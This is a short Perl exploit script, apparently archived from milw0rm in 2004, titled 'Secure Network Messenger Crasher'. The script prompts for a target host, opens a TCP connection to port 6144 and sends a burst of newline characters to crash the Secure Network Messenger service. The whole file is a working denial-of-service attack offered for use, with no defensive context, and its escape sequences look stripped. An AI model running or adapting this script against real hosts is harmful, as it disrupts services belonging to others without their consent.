#!/usr/bin/perl

use IO::Socket;
print ("nSecure Network Messenger Crasher by ClearScreenn");
print ("nEnter host to crash: ");
$h = <STDIN>;
chomp $h;
$socks = IO::Socket::INET->new(
        Proto => "tcp",
        PeerPort => "6144",
        PeerAddr => "$h"
) or die "nNo response from host.";

sleep 1;
print "nSuccesfully connected to $h!n";
for ($count=1; $count<15; $count++)
{
 print $socks "n";
 select(undef, undef, undef, 0.1);
}
print "nMessenger crashed.";
close $socks;

# milw0rm.com [2004-11-15]